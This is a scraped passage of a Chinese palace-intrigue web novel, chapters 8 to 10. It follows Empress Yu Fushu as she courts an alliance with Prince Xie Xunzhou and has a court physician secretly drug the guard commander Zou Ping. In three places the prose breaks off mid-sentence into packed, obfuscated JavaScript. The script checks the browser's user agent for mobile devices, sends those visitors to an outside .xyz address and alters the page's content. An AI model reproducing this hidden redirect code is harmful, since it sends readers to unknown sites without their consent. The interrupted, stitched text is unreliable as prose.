谢洵舟走在前,玉扶疏落后他一步之遥,眼前是他宽阔挺拔的脊背,他的头发束得一丝不苟,一眼看去还能记起当年替他梳头时那又粗又硬的手感,他颈后总是长着一撮短短的碎发,她尝试着用剃刀修理过,可没多久就像反骨一样冒出来,他的脖子是最好看的,修长,笔直,硬挺,像大树的根,可一眼望见生机,这是玉扶疏评判男人的标准,这么多年过去,无疑还是谢洵舟最合她的眼光。 玉扶疏一路跟着谢洵舟,延陵王府没什么变化,还是那些庭院、那些屋檐、那些小桥与池塘,她知道,这个方向是往内宅,谢洵舟的住处去的。 谢洵舟将玉扶疏领进了书房。 玉扶疏进门,迎面而来的便是一股肃杀之气。 正对大门小厅里,贴墙立着一座梨花木高案,案上设有一座青铜器剑架,似乎是贵重古物,上面只贡着一柄长剑,剑鞘倒是普通,看不出端倪。高案上方的墙上挂了一张堪舆图,高案右侧立着一套铠甲,甲片在烛火下泛着银光。 屋子左侧,隔着一道木制镂空的月亮门,才是谢洵舟平日处理公务的地方,也是依稀还留有几分旧日记忆的地方。 玉扶疏心有感慨,曾经在这间屋子里,她与谢洵舟赌书泼茶的记忆在现实里彻底褪色,时移世易,终究什么美好的东西都留不住。 谢洵舟就站在入门的小厅里,面对着堪舆图和甲胄,没有请玉扶疏往里间走,也无意请她落坐。 玉扶疏:“我来王爷府上已许久,又走了这些路,王爷难道不请我喝杯茶吗?” 玉扶疏话落,对视上谢洵舟疏冷的眼神,自觉没趣的耸了耸肩。 她又问:“今日,王爷府上可是来了一位不速之客?” 谢洵舟冷笑:“不速之客正在本王眼前。”他显然耐心不足:“若是来做玉忠节的说客,玉后可以回去了。” 玉扶疏已不意外谢洵舟会这样怀疑,跟着他从外宅到内宅的一路上,她不免心惊胆寒。只因她恍然发觉,这座深夜寂寂的王府,表面平静,实则暗影伏动,满含杀机,她跟萧妃一路走来时,那些假山高树后,站满了人。 玉扶疏也是刚刚意识到,自己险些酿成了一场大战。 “我若是玉相国的说客,何苦乔装改扮,又特意借萧妃之名?王爷其实猜到,我是有心避开我父亲的眼线来见你的。” 所以谢洵舟才会把她领入内宅,领进他的书房。 谢洵舟:“许是玉后的障眼法,本王并非不曾领教过。” 玉扶疏知道这是谢洵舟在故意呛她。 事到如今,她索性与他摊牌。 “你抓的贼人,是我派来的。” 谢洵舟乍一听这话,自是意外,可旋即冷笑道:“你觉得本王会信?” 玉扶疏:“我见王府庭院里埋伏了人,若偷诏书是玉忠节授意,如今事败,你们可能已经短兵相接,何故至今相安无事?” 谢洵舟也确有疑惑,自他从茶楼归府,整整大半日过去,玉忠节那边毫无动静,没有任何调兵遣将的风声。 若偷诏书是玉扶疏所为,那一切倒说得通了。 谢洵舟眯起眼眸:“所以,玉后是来向本王认罪的吗?” 玉扶疏:“王爷若怪罪,阿扶自然认。可我今日,是来与王爷结盟的。我想与王爷联手,一起扶持太子登基。届时在新朝,王爷会是受皇帝敬仰,毫无异议的摄政王。” 一波未平,一波又起。 玉扶疏接连抛出惊人之语,饶是谢洵舟也疑惑,是不是玉忠节利用玉扶疏,故意设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940552|177335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计于他。 谢洵舟审视着玉扶疏,试图在她脸上寻找出一种表情,一种证明她在胡言乱语或者受人指使,照猫画虎,不明所以的表情。 “你究竟知不知道自己在说什么?” 玉扶疏迎着谢洵舟探究、逼迫的视线。 “王爷抓着我的把柄,如今又多了一个人质在手,阿扶这条命都系在王爷的手中,我自然想让王爷高抬贵手,放我一马。所以我想,替王爷完成心愿。” “我愿意帮助王爷一起对付玉忠节,只要太子登基,王爷便可在朝堂上占有一席之地。凭王爷今日,难道甘心在玉忠节手下讨一口残羹剩饭吗?要么太子登基,你我联手蚕食玉氏的权力。要么幼子登基,玉忠节慢慢蚕食你的军队。王爷要选哪一个?” 谢洵舟望着玉扶疏渐渐眯起眼眸。 书房陷入了寂静,火焰燃烧烛心的噼啪声像惊雷一样响。 他们距离很近,近到可以听见彼此的呼吸声,近到彼此脸上一点点波澜都逃不过对方的眼睛,近到他们的影子在墙上重叠。 谢洵舟从未觉得眼前人像现在这般陌生。 曾经的玉扶疏,会为了一个不值得的男人,和自己的妹妹厮打一团,却无论气恨都何地步,都不忍心真的去伤害那个,丝毫不顾及姐妹之情,一味伤害她的妹妹。曾经的玉扶疏会想尽办法在集会上出风头,凭着美貌,作势要把其他贵女全都比下去,享受着那些男人的恭维追捧和那些女人的嫉妒敌意,格外地自鸣得意。曾经的玉扶疏会把他错认成寒门子弟,对他颐指气使,呼来喝去,但也会把烤好的鹿肉分给他吃,有什么坏点子都来与他商量,她明明那么高高在上,却每次都拿不准主意,只能求他帮忙。她既有胆量独身纵马在林间猎鹿,也胆小到因踢他一脚而逃之夭夭。 她美丽,愚蠢,善良,幼稚,爱慕虚荣,那时的她懵懂又莽撞,她自以为清楚自己想要什么,却不知道,她其实什么都不懂,什么都糊涂。 烛焰照映着玉扶疏精致的脸庞。 她什么都没变,还是那张如花容颜,那双灵动却时而透出狡黠的美目,甚至因为她今日穿了一件宫女的素服,抛却了那些华贵无匹的衣饰,与当年那个他深爱的待字闺中的玉家小女更像了。 可谢洵舟却发现,曾经那道刻在他心上的影子正在变得模糊,他越来越看不清曾经爱人的模样。而眼前站着的这个人,明明还是一样的眼睛,鼻子,嘴巴,可他望着她,却格外陌生。 这陌生的感觉让他心惊。就像他得知,她亲手杀了谢池渊时一样心惊。 谢洵舟时而会想,或许从一开始,他就从未真正认识过玉扶疏。 谢洵舟转身,走过月亮门,站在书案前,掌心抚摸着被磨得有些粗粝的桌面,他背对着她。 “玉后,若是玩够了,可以回你的皇后殿了。” 玉扶疏留在原地,望着谢洵舟走远,她静静盯着他的背影,忽而举步追过去,她的脚步越来越快,直到她撞在谢洵舟宽阔的背上。 玉扶疏手臂环住谢洵舟劲瘦的腰身,她歪头靠在他坚挺的脊背,从后面紧紧抱住他。 谢洵舟脊背一僵。 8. 第 8 章 有什么滚烫的东西从谢洵舟心头划过。 背后的人将他锢得很紧,她的手臂瞧着那样纤细,却格外有力气,牢牢缠着他的腰,让他喘不上气,她的头抵在他的琵琶骨上,硌得生疼。 谢洵舟感觉喉咙有些热,喉结上下滚动,他几乎咬牙:“放手。” 玉扶疏将谢洵舟抱得更紧。 谢洵舟低头,看着玉扶疏紧紧抓着他衣服的手,握住她的手腕,想要掰开她的手,可玉扶疏攥得更紧了,与他较着劲。 谢洵舟闭上眼睛,手掌覆在玉扶疏的手上。 那是六年前,玉扶疏出嫁的前一天夜里。 谢洵舟翻窗进了玉扶疏的闺房。 他从前进过很多次她的院子,但最多是在花架下与她谈天,帮她推秋千,吹箫给她听。 这是他第一次步入她的闺阁。 里面的陈设几乎与他想象中的别无二致。 宫里的婚服已经送来,整齐的摆在架子上,凤冠上缀珍珠点翠,霞帔更是奢靡,系着硕大的金镶玉帔坠,处处绣着龙凤交首的纹样,成堆的金银珠宝在烛火下熠熠闪光。 谢洵舟寻找着玉扶疏的身影,最终看到她安静的坐在床榻上。 他原以为她会欢天喜地试着那件全天下最贵重的衣裳,她会头戴那顶全天下最尊贵的女人才能拥有的凤冠,在妆台前美滋滋的照镜子。 可他的这些设想都落空了,玉扶疏穿着里衣,坐靠在床榻上,手里拿着一管玉箫在出神。 谢洵舟识得那管箫,那是他送给她的定情信物,谢洵舟至今也记得,当他看到此情此景时,全身的血液都在沸腾,都在叫嚣着让他带她私奔。 玉扶疏被他的到来吓了一跳,可她又很快冷静下来,抬手拍了拍身边的床榻,示意他过来坐。 谢洵舟走过去,在玉扶疏身边坐下,他闻到了只属于女子床帏的陌生的香气。 他刚坐下,玉扶疏便把箫递了过来,问他。 “我是不是应该把这个还给你了?” 谢洵舟好似被当头浇下一盆冷水,他看着那箫,喉咙干涩,原本许多的话都被堵在了喉咙里。 “为什么要还呢?你若不想要它,不如烧了干净。” 玉扶疏垂下头,她不说话,握箫的手倒是一点点缩了回去,她把箫藏在被子下,又快速把手抽出来。 “你……是怎么进来的?” “想来,便能进来。” “那你……” 谢洵舟猜玉扶疏大概是想问他,来做什么。 是啊,他来做什么? “马上要成皇后了,你可开怀?” 谢洵舟望着玉扶疏,她的俏脸未施粉黛,素净无暇,很奇怪,她今夜竟没了往日的张扬自大,反倒瑟缩在一角,脸上一点笑意也没有,眼睛里也全是落寞与迷茫。 谢洵舟下示意抬手,抚摸上玉扶疏的脸颊,他轻轻托起她的脸,“害怕么?” 玉扶疏就由着谢洵舟捧着她的脸,她索性歪头,倒在他的掌心里。 “你来,做什么?” 她期待他说些什么,也害怕他说些什么。 “不知道。”谢洵舟说道。 他不清楚深夜潜入玉府,又来到她的闺房是要做什么,又能做什么。 “恨我么?”玉扶疏问。 谢洵舟轻笑一声,指尖摩挲着玉扶疏的脸颊,“你不是说,我要恨,就该恨自己不是皇帝么?” 玉扶疏抓住谢洵舟的手,把他的手从脸颊挪开,她勾了勾唇,“是啊,为什么你不是皇帝呢?你若是皇帝,我现在可能会很高兴。可你不是,我现在就一般高兴了。” 谢洵舟垂下头,他觉得这间屋子的烛火太热,煎烤着他,他的五脏六腑都像是被热油烹着,他强忍着,没让眼泪掉出来。 他这辈子只痛彻心扉哭过两次,一次是母后在床榻撒手而去,一次是他的眼泪都流进了心里,融进了血里。 “从明天起,你就嫁给别人了,要与别人生同衾,死同穴。” 玉扶疏睫毛一颤,她没想那么久远。 “皇后之位,真的比一个爱你的人,还重要么?”其实谢洵舟想问,皇后之位真的比他还重要么,可他终究没敢问出口。 “你来,究竟想做什么?”玉扶疏又问了一遍。 她的答非所问,似乎给了答案。 谢洵舟快要喘不上来气了,他的肩在剧烈震颤着,他猛地起来便要走。 玉扶疏却扑过来,一把抓住谢洵舟的手。 “别走,你别走。”她挽留他。 谢洵舟背对着玉扶疏,他感受着她抓来的柔软的手,下意识把她握紧。 他终于还是把心底里那一点点希冀道了出来。 “还有一条路,我带你走。可这次,你不仅做不成皇后,连延陵王妃也做不成了,只能做我的妻子,从此天地之间,你我只有彼此,我们可以去青山绿水之地安家。” 玉扶疏一怔,“你要我私奔?” 谢洵舟转身,蹲在床榻前,才堪堪能与玉扶疏平视。 “我甚至想现在就掳走你。” 玉扶疏摇头。 谢洵舟嗤笑,他在嘲笑自己。 “那便放开我的手,此生,我们缘止今日,过了今晚,你我再无瓜葛。本王会祝玉后,得偿所愿。” 玉扶疏亦摇头,她的眼眶一点点红起来,作势要哭,“不。” 谢洵舟看到玉扶疏眼眶里积蓄的泪水,像有什么东西压在他的胸膛上,挤压着他,让他难以呼吸,“玉扶疏,那你究竟想要怎样?” 玉扶疏不知道,她忽而倾身环住谢洵舟的脖子,她吻他,一味地用力地亲吻他的嘴唇。 谢洵舟的理智只剩一根细丝般随时要断裂的弦。 他很想吻她。 谢洵舟推开玉扶疏,用指尖擦她脸颊的泪。 “玉扶疏,你不能既想要当皇后,又想要我。” “最后一次,留在这,还是跟我走?” 玉扶疏又吻谢洵舟,再次被他推开。 她恼了,“为什么?你不想要我吗?” 谢洵舟盯着不知天高地厚的玉扶疏,真不知自己究竟该爱她,还是该恨她。 “玉扶疏,我不需要你的怜悯,更不需要你的补偿。” 谢洵舟一根根掰开玉扶疏紧抓着他的手指,就像当年,他在床榻前掰开她的手一样。 谢洵舟转身,将玉扶疏推开。 “本王警告过你,不要试探本王的底线。” 玉扶疏望着谢洵舟深暗的眼眸,那里有一种情绪在静静流淌着,可他变了,她已经参不透他。 “你如今就这般厌恶我吗?你真的厌恶我到,连一点点的信任都不肯给我吗?”玉扶疏抬手想去触碰谢洵舟,被他挥手打开,她委屈的咬住嘴唇:“我究竟要怎么做,你才会相信我?你告诉我,你告诉我……” 谢洵舟只觉今晚是一场彻头彻尾的荒唐,他忍无可忍:“够了。” 玉扶疏的声音戛然而止。 谢洵舟发现她还是有一点没变的。她无理取闹的手段。 谢洵舟垂眸看着玉扶疏,她的眼睛里含着一汪泪,但他早也辩不出是真情还是假意。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940553|177335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“玉扶疏,你不觉得,你先派人来偷密诏,此刻又想来与本王结盟的手段太拙劣了吗?” 玉扶疏望着谢洵舟,在眼圈里打转的泪,到底一滴一滴掉下来。 她望着他掉眼泪。 他望着她无动于衷。 他们在这张古老的书案前僵持着,陷入了某种微妙的博弈。 他们当下似乎都忘记了,在这间屋子里,在这张书案上,他们曾经痴缠亲吻彼此的模样。 玉扶疏突然转身,走到门对面的高案前,抓起上面贡着的那柄剑。 当谢洵舟反应过来时,一切都来不及了。 朴实无华的剑鞘内是一把削铁如泥的宝剑。 玉扶疏用它割破了自己的掌心,鲜血染红了玉扶疏的手,刺目异常。 玉扶疏举起被鲜血浸染的手,“歃血为盟,王爷可愿意信?” 谢洵舟惊骇,冲过去,一把夺过玉扶疏手里的剑。 那柄往日被供起来的剑被丢在地上,剑身着地,嗡鸣振响。 玉扶疏满手的血,鲜血肆意流淌,衣服上,桌案上,地上都是血。 谢洵舟气得发抖,对门外喊:“江之杰!拿金疮药来!” 江之杰抱着药箱进来时,被里面的场面吓得不轻。 谢洵舟拽着玉扶疏到走椅子前,推她坐下。 江之杰上前,放下药箱,见谢洵舟挥手,立即转身离开。 谢洵舟打开箱子,翻找出金疮药,然后在玉扶疏身前蹲下来,执起她的手,将药粉厚厚地洒在伤口上。 药粉浸入伤口,火烧般的刺痛让玉扶疏忍不住倒吸冷气。 她看着蹲在自己身前的谢洵舟,有些意外。 这个角度下,她能很清晰的看见谢洵舟平整开阔的额头、漂亮的眉骨,英挺的鼻梁,略微有些薄,可很柔软的唇。 玉扶疏恍惚意识到一种可能。 也许,边关的风沙也没那么冷。 “洵舟,你愿意再信我一次吗?” 谢洵舟咬牙,“玉扶疏,你告诉我,这样的蠢事,是你在话本上学到的吗?” 玉扶疏不在意谢洵舟如何嘲讽自己,她只在意:“再相信我一次,好不好?” 谢洵舟用绢布一层一层紧紧缠绕住玉扶疏的掌心,有朵朵猩红洇湿绢布,一层又一层的冒出来。 “你可知道那把剑是什么?你再用力些,这只手便废了。” 玉扶疏委屈的咬住嘴唇,“因为你不信我。我知道你不信我,我正是因为知道,所以才会派顾流川来偷你的诏书,我只能想到威胁你这一条路,威胁你不得不与我结盟。” 谢洵舟站起来,将剩余的绢布丢入药箱,关上盖子。 “与本王结盟,你能得到什么好处?你如何觉得,本王可以给你的,比玉忠节更多?” 玉扶疏:“我只求自保。若有再多,便是对玉氏的报复。” 谢洵舟倒不是意外玉扶疏会有这样的想法。 玉忠节逼着她杀人,摆明了是把她当替死鬼。 谢洵舟:“那你如何笃定本王会保你?” 玉扶疏自然能确定,自她们第一次见面,谢洵舟明明握着她的把柄,明明可以把她就地正法,他有无数种方法杀了她替他皇兄报仇,可他都没有。 玉扶疏垂眸看着包扎伤口的丝绢,一层一层把她的手缠成了个粽子。 如今,她更能确定了。 玉扶疏:“禁军首领邹平是我父亲的人,他掌管着宫廷禁军,是京城里最能直接威胁到王爷的人,我可以帮王爷除掉他,只要王爷答应与我结盟,王爷可愿意?” 9. 第 9 章 马车上,玉扶疏看着谢洵舟最后塞入她手中的药,渐渐出了神。 萧妃静默地观察着对面的玉扶疏,最终忍不住开口:“娘娘……” 玉扶疏回神,抬眼看萧妃,相较昨日,萧妃今日的状态恢复了很多,也有心装扮自己,粉黛略施,便可见往日圣宠后宫时的国色天姿。 “您的手…怎么伤了?” 玉扶疏:“无碍。” 萧妃顿了顿:“……延陵王答应帮助太子了吗?” “他没答应,”玉扶疏把萧妃的失望看在眼里:“也没拒绝。” 萧妃搞不明白了,“娘娘,妾身愚钝。” 玉扶疏:“日后会坐上皇位的人是太子,不是你我,延陵王最看重的利益也都系在太子身上,应该如何取得这位亲皇叔的信任和青睐,甚至讨他的欢心,不必本宫教吧?” 萧妃听得一知半解,面上愈发恭谨:“全靠娘娘对我母子二人垂怜,只要保得太子,妾身日后定做牛做马伺候您左右。” 玉扶疏闻言,嘴角透出一丝不可察的冷笑。 延陵王府内,江之杰亲自送走玉扶疏后,折返书房。 谢洵舟:“玉忠节可有动静?” 江之杰之前守在门外也听得几句,“没有异动,城外禁军营也已熄灯,王爷,是否要将人撤回来?” 谢洵舟:“你信了她的话?” 江之杰:“王爷难道您不信吗?” 谢洵舟轻笑一声:“传我的令,今夜严阵以待,万万不可松懈。” 玉扶疏回凤栖殿,得知拭雪心口不适,请了太医在看,玉扶疏往拭雪房中去。 拭雪和太医见到玉扶疏皆是一怔,两人跪地请安,拭雪感动:“娘娘厚爱,奴婢岂敢劳动娘娘。” 玉扶疏命二人起身,在桌旁坐下,询问拭雪的状况。 太医:“禀皇后,姑姑无大碍,只是操劳过度,喝几副药,就会好转。” 玉扶疏先是被温润的声音吸引,才用心去瞧眼前这位年轻的太医,不由挑眉,这太医的模样生得竟有几分像谢洵舟。不过,只是容貌相似,气质全然不同,眼前人即便身上穿着太医院那古板的官服,仍压不住他身上青稚的朝气与读书人的温雅。 “你叫什么名字?” 年轻太医一愣,“微臣温珣。” 倒是人如其名。 玉扶疏:“本宫瞧你眼生,何时进的御医院?” 温珣:“微臣是三年前考入太医院的,按规制,微臣资历浅,无福给娘娘请脉,故而娘娘未见过微臣。” 玉扶疏:“你姓温,难道是江州名医温氏的子弟?” 温珣:“娘娘抬举。臣家中祖父始读医书,传至微臣,是家中第一位有幸入御医院供职的。” 玉扶疏瞧着眼前这个气质内敛,模样清隽的太医,寒门出身,能在这个年纪进太医院,必然是医术超绝,否则怎敌过御医世家的子弟们。 玉扶疏伸出手:“本宫不小心割伤了掌心,你来替本宫瞧瞧。” 温珣诧异,怀疑自己听错了,下意识看向玉扶疏,这一眼他才首次看清楚眼前的贵人。 这位出身煊赫的皇后娘娘,比他想象中的年轻,比他想象中的貌美,比他想象中更加矜贵。 温珣紧张上前,托起玉扶疏的手,解开上面层层缠绕的丝绢,待看清楚伤口,吓了一跳。 这伤口细长,边缘整齐,应是被锋利剑刃所伤,上面敷着的药粉虽已化开,但闻气味,是军中特供的上等金疮药。 温珣吞咽口水,颤抖地手指将丝绢层层包回去。 “娘娘,您用的药虽止血效果极好,可药粉有些粗糙,您玉手娇贵,臣建议调一味玉肌粉,与这药粉混合,既保证止血,又能减轻伤口灼烧感。入夏闷热,未防伤口化脓,还需搭配内服汤药。” 玉扶疏很满意温珣的答复,进退有度,可见是个有分寸的人。 “那就依你之言,去拟方子吧。” 温珣闻言跪地:“娘娘,臣恐才疏学浅,不如还是请院首大人拟方。” 太医院的规矩压死人,这温珣入职三载,还只配给宫女看病,若无人提携,只怕熬到胡子花白,也是一样的地位。 玉扶疏:“本宫瞧你不错,去开方吧。” “多谢娘娘。” 温珣红了眼眶,磕了个头,才起身退下。 玉扶疏看着温珣清瘦的背影,给谢洵舟的投名状,她已经想到法子了。 拭雪关切上前:“娘娘您的伤可是那延陵王……” 玉扶疏起身:“是本宫自己割伤的。待温御医回来,替本宫打赏他。” 拭雪应道:“是。” 玉扶疏轻拍拭雪的肩膀:“这几日让你跟着担惊受怕,夜里要好好睡觉,外面的事本宫心中有数。” 翌日一早,玉扶疏照例前往仙台殿,谢池渊刚死三日,皇位之争也才露锋芒,一切危机都还潜在暗处酝酿,玉扶疏扫视殿外众臣和殿内宗室皇亲,此刻大殿虽静,但若能听得他们心中算盘,定是在噼啪作响。 玉扶疏回宫便把邹平召来。 邹平站在凤栖殿外仔细整理衣冠,又摘下佩剑交给下属,才举步入殿。 辰时的宫廷很是静谧,正殿里无人,邹平下意识放轻脚步,他轻禀呼吸,第一次有机会仔细打量,六角蟠龙香炉里燃着奇楠沉香,袅袅香雾萦绕在素白的帷幔间,窗棂上雕刻的凤凰交首图样,被日光映在地面的青砖上栩栩如生,正南奢华的鎏金凤椅后,是一扇数米高的屏风,刻会着《十二月令图》。 邹平血洗过仙台殿,皇后的宫殿不似皇帝那般穷奢极欲,其内装饰庄重有余,奢靡不足,作为玉相国的女儿,大商的皇后,邹平意外于皇后殿的古朴。 玉扶疏从屏风后走出来,坐在凤椅上,笑面盈盈,声音好听又和气:“邹将军,不必拘礼,坐吧。” 邹平谢了恩,在下首的椅子上坐下,发现一旁茶案上摆了碟他爱吃的点心。 玉扶疏:“荷蕊蟹粉酥,是本宫特意给你准备的,听闻你是姑苏人,尝尝你家乡的点心。” 邹平起身,拱手谢恩:“娘娘关怀,微臣愧不敢当。” 玉扶疏唤拭雪:“再给邹将军沏一盏碧螺春,本宫听闻你爱喝这个。” 邹平受宠若惊,单膝跪地:“娘娘厚爱,微臣惶恐,不知娘娘召微臣前来有何事吩咐?” 玉扶疏:“你是玉相国看重的人,在本宫这里不必拘谨,起来坐吧。” 玉扶疏又让邹平吃点心:“陛下殡天数日,宫里一切稳妥,本宫也心安,这是你掌管宫禁有功。” 邹平:“这是微臣分内之责,微臣定用心护卫娘娘安全。” 玉扶疏笑笑:“这碟点心做的如何?若哪里不合胃口,就提出来,本宫让御厨重做。” 邹平忙道:“不,不,娘娘宫里的点心精巧无比,臣十分爱吃。” 拭雪端茶前来,先奉给玉扶疏,又给邹平。 玉扶疏端着茶盏:“邹将军既喜欢,就多吃几块,再尝尝本宫宫里的茶,喜欢就包些回去。” 邹平盛情难却,一连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢洵舟闻言轻笑了笑,侧头看玉扶疏,她穿了件莲子白的襦裙,上面织绣着嫩菱红色的牡丹花纹,身姿袅娜,云髻峩峩,她毫不避忌的施粉黛,染唇脂,娇媚之姿可与三春之景争艳。 谢洵舟看着玉扶疏,他怀疑她忘了,宫中正在进行丧仪,她刚死了丈夫。 玉扶疏迎着谢洵舟的目光,浅笑嫣然:“王爷寻我何事?” 谢洵舟目光向下,看向玉扶疏缠着丝绢的手:“好些了吗?” 玉扶疏伸手给谢洵舟看:“还很疼呢。” 谢洵舟撇开头,转身走到石桌旁坐下:“邹平的事,你打算何时给本王结果?” 谢洵舟有时会恍惚,昨夜那个扬言要与他联手,争权夺利的玉扶疏,是不是他的梦。 玉扶疏耸肩,语气失落:“我还以为王爷是来关心我的呢。” 玉扶疏走到谢洵舟身前,鬓间玉步摇在日光下晃动,玉簪的影子落在谢洵舟深邃眉眼,她低头凑近他:“我们打个赌如何?” 谢洵舟闻到口脂甜腻的花香。 玉扶疏抬手抚上谢洵舟宽阔的肩膀:“三日之内,我给王爷好消息,王爷吹那首曲子给我听。” 谢洵舟抓住玉扶疏乱动的手,把她的手从肩头摘下来,他进而握住她的皓腕,像扣住一个狡黠的小贼:“若是不能呢?” 玉扶疏轻启红唇:“那…阿扶愿受王爷任何处置。” 10. 第 10 章 邹平一直挨到晚上,再也受不住,遣人去请太医。 温珣刚离开郎卫署,就被等在暗处的拭雪带到凤栖殿。 玉扶疏在侧间花房召见温珣,这间屋子地气暖,最适宜培育些珍惜娇贵的名种,入夏的热气将花香暖烘烘的晕开,玉扶疏阖着眼,侧躺在贵妃榻上,身上披着的薄薄绸缎坠地,裙摆像开屏的玉白孔雀。 温珣提着药箱,走到门前,看着里间小憩的玉扶疏,不敢靠近,他跪在门槛外:“微臣温珣,叩请皇后殿下金安。” 玉扶疏懒懒睁眼,瞥到远远跪着的温珣。 花房里没燃烛火,只能借着天边的一点月色,朦朦胧胧的照着人影。 光线暗,玉扶疏还看不见温珣额头上的汗,也不知道他官袍里的衬衣已经被汗水浸透。 玉扶疏:“你上前来。” 温珣垂着头,踟蹰片刻,起身朝玉扶疏走去。 玉扶疏渐渐能看清楚温珣的脸了。 玉扶疏揽起垂落肩头的薄纱,坐起身,看着离自己几步之遥的温珣,勾了勾唇:“再近些。” 温珣走到榻前,玉扶疏轻挑娥眉:“跪下。” 她饶有兴致的看着温珣,看着他清隽面庞上的难堪与挣扎,最终都归于妥协,温珣屈膝跪下,望来的一双眼里,透着几分畏惧,几分困惑和几分祈求。 “你怎么出了这么多汗?害怕本宫?” 温珣低眉顺眼:“娘娘宽仁,臣怎会怕,微臣敬重娘娘。” 玉扶疏听得温珣的评价,不由笑了:“其实你心里在怨恨本宫吧?” 温珣唇色发白,肩膀颤抖着:“微臣不敢怨恨娘娘,臣自幼跟随祖父学医,慎知人命至重,有贵千金的道理。臣虽不敢夸海口有悬壶济世之才,却也不敢违背医者仁心,臣,臣……” 温珣挣扎着,说不下去了。 玉扶疏闻言也不恼,面上仍盈着笑意,拿出手帕,擦拭温珣额头上的汗珠。 温珣身体一僵,受宠若惊于玉扶疏的屈尊降贵,月光如水,却凉不过眼前人的冰肌玉骨,房中百花争艳,也抵不过眼前人谪仙之质。 温珣心中如海啸袭来,千万种情绪复杂交错,他的呼吸变得艰难凝滞。 玉扶疏轻声道:“本宫会看重你,正是因为知道你有此心,亦有此才。” 温珣暗暗匀气,保证自己能完整吐出一句话来:“可是娘娘,您为何又让臣去……” 玉扶疏把帕子递给温珣:“擦擦汗,又没让你杀人,何苦吓成这样。” 温珣颤抖着手接过帕子,这上面有一股独属于皇后的异香,他双手捧着,不敢用汗水污了帕子。 他挣扎着:“臣与邹将军,无冤无仇……” 玉扶疏轻笑了笑:“本宫与他,亦无冤无仇啊。” 这世间,人与人的厮杀、嫁祸、争斗、暗害,又有多少是真的因仇怨而起的呢? 玉扶疏看着执迷不悟的温珣,眼底的笑意散尽,月光下,她黑玉般的眸子透出冰冷,声音也一并冷了下去。 “你若真想悬壶济世,普渡众生,就不该来考御医院。” 皇宫是什么地方,若温珣真有赤子之心,那倒当真是误入歧途,来错了地方。 “你这样的心性,怕也不适宜留在宫廷……” 玉扶疏话音未落,便见温珣猛地抬起头。 他急切开口:“不,娘娘,臣,臣会做的很好。” 玉扶疏闻言凝视着温珣,倒是静了静,最终轻叹一声,又靠回贵妃榻上,阖上美目,摆了摆手:“下去吧。” 温珣一连三日去郎卫署,替邹平诊脉,拟方。 邹平腹泻好了,可隐隐觉得头晕:“温御医,我这几日总是恍惚听到有人在背后喊我,夜里时常惊醒,眼前也总是有黑影闪过,这是为何?” 温珣垂着眼皮:“皇上驾崩,将军您管着整个宫禁,是心上有重担无法疏解,过于操劳的缘故。我会给将军开一副安眠的药,您今夜就会觉得好些。” 邹平松了口气:“多谢御医大人。” 入夜,邹平刚喝下药准备入睡,房门外突然闹哄哄起来,下属叩门,急慌慌道:“大人,不好了,宫里进刺客了!” 皇宫如一锅架在火上的水,一点点变热,沸腾起来。 除了把守宫门的侍卫,邹平下令其余所有禁军侍卫出动,挨宫挨院的搜查。 邹平先领了人到凤栖殿,跪在殿门外,高声回禀:“请皇后娘娘安心,臣已调来精锐,保卫凤栖殿。” 拭雪隔着门替玉扶疏传话:“邹将军一定要尽快将刺客抓住!保护好皇子公主!保护好先帝灵柩!” 邹平领命而去,凤栖殿内恢复寂静。 玉扶疏倚在花房的贵妃榻上,手执书卷,她在读司马光的《资治通鉴》,手边一炉金兽吐轻烟,香雾袅袅,倒是应了那句‘读易烧香自闭门,懒于世故苦纷纷’。 深夜的宫廷已被刺客闹得人心惶惶,偏玉扶疏这里静地出奇。 邹平来时,玉扶疏恰巧读到晋纪,前秦丞相王猛设计离间君主苻坚与慕容垂父子,叹息王猛借金刀,计虽巧,可惜没算透帝王心性。 拭雪烹茶端来,又替玉扶疏换了盏更亮的烛灯,“娘娘喝杯茶提神,这后半夜只怕还有得闹呢。” 小半个时辰后,凤栖殿外一阵骚动,萧妃贴身宫女跑来,一路哭天喊地:“皇后娘娘救命,娘娘救命!” 玉扶疏放下书,起身向外走,拭雪打开殿门,看到跪地哭求的宫女,一番问询才知,太子遇刺了,此刻刺客已经抓到,萧妃请她前去主持大局。 萧妃与太子居所靠近仙台殿,离凤栖殿有些距离,玉扶疏传了轿辇。 离近萧妃殿,玉扶疏坐在轿辇上,远远便瞧见宫门口围满了禁军,肩压着肩,蜂拥挤在一起,翘首向内张望,早没了规矩次序。 内侍亮着嗓子高喊:“皇后娘娘到!” 围在宫门前的侍卫们才匆忙散开一条小道,跪倒一地,内侍们抬着轿辇跨过门槛,庭院里也跪满了侍卫,邹平的两个心腹见到玉扶疏,急忙冲上前,滑跪至轿前。 “娘娘,快请相国大人进宫吧!” 拭雪呵斥:“何人如此大胆,敢拦皇后娘娘的轿辇。” 内侍上前驱赶,两人有口难言,只能侧身让开路。 轿辇停在殿门前,玉扶疏下辇,由萧妃婢女引着,一路往太子住所去。 